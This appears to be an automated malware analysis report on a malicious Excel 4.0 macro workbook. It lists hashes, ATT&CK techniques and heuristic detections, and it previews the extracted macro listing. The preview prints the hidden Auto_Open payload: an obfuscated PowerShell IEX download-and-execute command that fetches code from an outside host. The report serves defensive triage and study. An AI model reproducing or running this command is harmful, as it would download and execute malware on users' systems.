Office (OLE) malware analysis — malicious · bc931d7664aeaef4

MALICIOUS

Office (OLE)

1.18 MB Created: 2019-10-22 07:10:34 Authoring application: Microsoft Excel First seen: 2020-09-15

MD5: e1ad40565ca903516bd05ba7fda11572 SHA-1: 37da3e979b21cf1cfce1caf621e87e4976d85c39 SHA-256: bc931d7664aeaef451ee7a596031259b24fc48772e624e2d7bf0e18c094551ef

300 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, specifically an Auto_Open entry, which is a critical indicator of malicious intent. The macro attempts to execute a PowerShell command that concatenates strings to form a download and execution command. This indicates the file's primary purpose is to download and run a second-stage payload, likely from a remote source.

Heuristics 7

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN

Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
Suspicious cmd.exe invocation with execution flag high SC_STR_CMD

Suspicious cmd.exe invocation with execution flag
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Reference to bitsadmin (download) high SC_STR_BITSADMIN

Reference to bitsadmin (download)
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1907 bytes
SHA-256: `f663df2d1cbbf5f9a5eb524770e39d034dffdb3432267325c96fed5301141629`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.
Preview script First 1,000 lines of the extracted script ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - McrWl ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0018 31 LABEL : Cell Value, String Constant - Application.Quit len=0 ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!A9591 ' 0018 26 LABEL : Cell Value, String Constant - gefg len=7 ptgRef3d McrWl!A1 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' Sheet,Reference,Formula,Value ' McrWl,A2,RETURN(),"" ' McrWl,A9596,EXEC("powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnlo"&"a"&"dsTrInG'('"&"http:/"&"/"&"ahjuric.si/Code.txt"&"')"),"" ' McrWl,A29999,[],"" ' McrWl,A30007,HALT(),""

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